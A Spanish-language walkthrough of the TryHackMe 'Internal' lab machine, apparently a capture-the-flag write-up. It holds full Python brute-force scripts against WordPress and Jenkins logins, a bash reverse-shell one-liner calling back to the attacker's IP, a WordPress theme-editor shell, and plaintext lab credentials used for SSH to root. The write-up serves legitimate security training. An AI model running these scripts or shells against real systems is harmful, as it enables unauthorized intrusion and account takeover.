Home Internal Thm
Post
Cancel

Internal Thm

Write up De la maquina internal de dificultad dificil de la plataforma de TryHackMe.

Enumeracion

Empezemos enumerando que puertos estan abiertos en la maquina victima.

1
2
3
4
5
6
7
8
9
10
❯ nmap internal.thm
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-20 16:22 -05
Nmap scan report for internal.thm (10.10.132.175)
Host is up (0.20s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 36.70 seconds

Detectemos que version corre en estos puertos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
> nmap -sCV -p22,80 -oN targeted internal.thm
Nmap scan report for internal.thm (10.10.112.205)
Host is up (0.23s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6efaefbef65f98b9597bf78eb9c5621e (RSA)
|   256 ed64ed33e5c93058ba23040d14eb30e9 (ECDSA)
|_  256 b07f7f7b5262622a60d43d36fa89eeff (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 19 17:58:04 2023 -- 1 IP address (1 host up) scanned in 14.01 seconds

Enumeremos el servidor web que corre en el puerto 80. Vemos una pagina predeterminada de apache, apliquemos fuzzing para encontrar mas rutas en esta web.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ gobuster dir -t 200 -w /usr/share/SecLists/Discovery/Web-Content/big.txt -u http://internal.thm/ --no-error
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://internal.thm/
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/SecLists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/04/20 16:29:51 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/blog                 (Status: 301) [Size: 311] [--> http://internal.thm/blog/]
/javascript           (Status: 301) [Size: 317] [--> http://internal.thm/javascript/]
/phpmyadmin           (Status: 301) [Size: 317] [--> http://internal.thm/phpmyadmin/]
/server-status        (Status: 403) [Size: 277]                                      
/wordpress            (Status: 301) [Size: 316] [--> http://internal.thm/wordpress/] 
                                                                                     
===============================================================
2023/04/20 16:30:34 Finished
===============================================================

En el directorio /blog hay un wordpress Desplegado.

Y vemos una sola publicacion, si vemos esta publicacion nos muestra el usuario que la creo que en este caso es admin.

Podemos comprobar que el usuario admin es un usuario valido comprobandolo en el panel de inicio de session. Vamos aplicar Fuerza bruta contra el panel de inicio de session, voy crear un script de python atraves del cual aplicar la fuerza bruta.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import threading, pdb
import requests
import sys
from pwn import *

# Variables globales
url_login = 'http://internal.thm/blog/wp-login.php'
Burp = {'http':'http://127.0.0.1:8080'}
found_pass = False
l1 = log.progress("Password")
l2 = log.progress("Counter")

def makeBruteForce(password):
    
    global found_pass

    post_data = {
            "log":"admin",
            "pwd":password,
            "wp-submit":"Log In",
            "redirect_to":"http://internal.thm/blog/wp-admin/",
            "testcookie":"1"
    }
    
    cookies = {
            "wp-settings-time-1":"1681947286; wordpress_test_cookie=WP+Cookie+check"
            }
    
    r = requests.post(url_login, data=post_data, cookies=cookies, allow_redirects=False)
    
    if r.status_code == 302:
        l1.success("password found %s " % password)
        found_pass = True
    
    return

def makeRequest():

    f = open('/usr/share/wordlists/rockyou.txt', 'rb')
    length = 14344393
    count = 0
    threads = []

    for password in f.readlines():

        if found_pass:
            break

        password = password.decode().replace("\n", "")
        l1.status("Probando Con la contraseña %s" % password)
        l2.status("Contraseñas Probadas [{}/{}]".format(count, length))
        count += 1
        
        thread = threading.Thread(target=makeBruteForce, args=(password, ))
        threads.append(thread)

        if count % 150 == 0 or count == length:
            for thread in threads:
                try:
                    thread.start()
                except KeyboardInterrupt:
                    print("\n[!] Termimando con los hilos")
                    sys.exit(1)
                
            for thread in threads:
                try:
                    thread.join()
                except KeyboardInterrupt:
                    print("\n[!] Termimando los hilos")
                    sys.exit(1)
                
            threads = []

    for thread in threads:
        thread.join()

if __name__ == "__main__":
        makeRequest()

Lo ejecutamos y obtenemos la contraseña del usuario admin.

1
2
3
❯ python3 wordPress_BruteForce.py
[+] Password: password found my2boys 
[┤] Counter: Contraseñas Probadas [3899/14344393]

Autentiquemosnos con esta contraseña La contraseña es correcta, Obtenemos accesso al panel administrativo.

Intrusion

Estando dentro de un wordpress como administradores, tenemos vias para ejecutar comandos, vallamos a appearance y Theme Editor, y vamos a modificar el archivo 404.php para que nos envie una revershell. Actualizamos el archivo y ahora para generar un error y que nos cargue este archivo que acabamos de modificar simplemente tenemos que buscar algo que no exista en el servidor.

1
❯ curl -s "http://internal.thm/blog/?p=13231231"

Por debajo obtenemos la shell.

1
2
3
4
5
6
7
8
9
❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.8.47.45] from (UNKNOWN) [10.10.132.175] 58960
bash: cannot set terminal process group (1096): Inappropriate ioctl for device
bash: no job control in this shell
www-data@internal:/var/www/html/wordpress$ whoami
whoami
www-data
www-data@internal:/var/www/html/wordpress$ 

Movimiento lateral

Si listamos los archivos del directorio opt, vemos un archivo un poco extraño.

1
2
3
4
5
6
www-data@internal:/$ ls -la /opt/
total 16
drwxr-xr-x  3 root root 4096 Aug  3  2020 .
drwxr-xr-x 24 root root 4096 Aug  3  2020 ..
drwx--x--x  4 root root 4096 Aug  3  2020 containerd
-rw-r--r--  1 root root  138 Aug  3  2020 wp-save.txt

Si vemos su contenido nos dan la contraseña en texto claro del usuario aubreanna.

1
2
3
4
5
6
www-data@internal:/$ cat /opt/wp-save.txt 
Bill,

Aubreanna needed these credentials for something later.  Let her know you have them and where they are.

aubreanna:bubb13guM!@#123

Conectemosnos por ssh con estas credenciales.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
❯ sshpass -p 'bubb13guM!@#123' ssh aubreanna@internal.thm
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Apr 20 22:24:31 UTC 2023

  System load:  0.0               Processes:              110
  Usage of /:   63.7% of 8.79GB   Users logged in:        0
  Memory usage: 35%               IP address for eth0:    10.10.76.45
  Swap usage:   0%                IP address for docker0: 172.17.0.1

  => There is 1 zombie process.


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

0 packages can be updated.
0 updates are security updates.


Last login: Thu Apr 20 22:24:17 2023 from 10.8.47.45
aubreanna@internal:~$ id
uid=1000(aubreanna) gid=1000(aubreanna) groups=1000(aubreanna),4(adm),24(cdrom),30(dip),46(plugdev)
aubreanna@internal:~$ 

En el directorio personal de este usuario hay una nota de jenkis.

1
2
aubreanna@internal:~$ ls
jenkins.txt  snap  user.txt

Si vemos su contenido nos dice que hay un jenkins corriendo en el puerto 8080.

1
2
aubreanna@internal:~$ cat jenkins.txt 
Internal Jenkins service is running on 172.17.0.2:8080

Este puerto esta corriendo en un contenedor al cual no tenemos accesso desde nuestra maquina apliquemos un local port forwarding para poder acceder a el desde nuestra maquina.

1
❯ sshpass -p 'bubb13guM!@#123' ssh aubreanna@internal.thm -L 8080:127.0.0.1:8080

Accedemos al puerto 8080 y vemos el jenkins. En este panel tambien vamos a aplicar fuerza bruta, voy a modificar el script que utilize para el wordpress y adaptarlo para el jenkins.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import threading, pdb
import requests
import sys
from pwn import *

# Variables globales
url_login = 'http://127.0.0.1:8080/j_acegi_security_check'
found_pass = False
l1 = log.progress("Password")
l2 = log.progress("Counter")

def makeBruteForce(password):
    
    global found_pass

    post_data = {
        "j_username":"admin",
        "j_password":password,
        "from":"/",
        "Submit":"Sign+in"
    }
    
    r = requests.post(url_login, data=post_data)
    
    if r.status_code == 200:
        l1.success("password found %s " % password)
        found_pass = True
    
#    return

def makeRequest():

    f = open('/usr/share/wordlists/rockyou.txt', 'rb')
    length = 14344393
    count = 0
    threads = [] # Creamos la lista de hilos vacía

    for password in f.readlines():

        if found_pass:
            break

        password = password.decode().replace("\n", "")
        l1.status("Probando Con la contraseña %s" % password)
        l2.status("Contraseñas Probadas [{}/{}]".format(count, length))
        count += 1
        
        thread = threading.Thread(target=makeBruteForce, args=(password, ))
        threads.append(thread)

        if count % 60 == 0 or count == length:
            for thread in threads:
                try:
                    thread.start()
                except KeyboardInterrupt:
                    print("\n[!] Termimando hilos")
                           
            for thread in threads:
                try:
                    thread.join()
                except KeyboardInterrupt:
                    print("\n[!] Termimando hilos")
                
            threads = []

    for thread in threads:
        thread.join()

if __name__ == "__main__":
        makeRequest()

Lo ejecutamos y obtenemos la contraseña.

1
2
3
❯ python3 jenkis_BruteForce.py
[+] Password: password found spongebob 
[└] Counter: Contraseñas Probadas [119/14344393]

Autentiquemosnos en el panel de inicio de session. Estando Dentro de un jankins podemos, ejecutar comandos en la consola de scripts. Para ganar acceso a la maquina voy a crear un archivo index.html con un script de bash que se encargue de enviarme una revershell.

1
2
3
#!/bin/bash

bash -c "bash -i >& /dev/tcp/10.8.47.45/4444 0>&1"

Voy a montar un servidor http con python

1
sudo python3 -m http.server 80

Ahora voy hacerme un curl a mi servidor y guardar el output en un archivo Me pongo en escucha con nc

1
❯ nc -lvnp 4444

Y ejecuto el archivo. Se ejecuto correctamente y me envio la shell.

1
2
3
4
5
6
7
8
9
❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.8.47.45] from (UNKNOWN) [10.10.76.45] 38520
bash: cannot set terminal process group (6): Inappropriate ioctl for device
bash: no job control in this shell
jenkins@jenkins:/$ whoami
whoami
jenkins
jenkins@jenkins:/$ 

Si vemos la ip que tenemos, nos damos cuenta que el servicio como vimos en la nota esta corriendo en un contenedor.

1
2
jenkins@jenkins:/$ hostname -I
172.17.0.2 

Escalada de privelegios

Si volvemos a listar el contenido del directorio /opt vemos que han dejado una nota.

1
2
3
4
5
jenkins@jenkins:/$ ls -la /opt/
total 12
drwxr-xr-x 1 root root 4096 Aug  3  2020 .
drwxr-xr-x 1 root root 4096 Aug  3  2020 ..
-rw-r--r-- 1 root root  204 Aug  3  2020 note.txt

Si vemos su contenido nos dan la contraseña de root en texto claro.

1
2
3
4
5
6
7
jenkins@jenkins:/$ cat /opt/note.txt 
Aubreanna,

Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you 
need access to the root user account.

root:tr0ub13guM!@#123

Esta contraseña no es del usuario root del contenedor si no del usuario root de la maquina real.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ sshpass -p 'tr0ub13guM!@#123' ssh root@internal.thm
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Apr 20 23:06:04 UTC 2023

  System load:  0.0               Processes:              116
  Usage of /:   63.7% of 8.79GB   Users logged in:        0
  Memory usage: 43%               IP address for eth0:    10.10.76.45
  Swap usage:   0%                IP address for docker0: 172.17.0.1

  => There is 1 zombie process.


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

0 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Apr 20 23:05:54 2023 from 10.8.47.45
root@internal:~# id
uid=0(root) gid=0(root) groups=0(root)
root@internal:~# 

Gracias por leer.

This post is licensed under CC BY 4.0 by the author.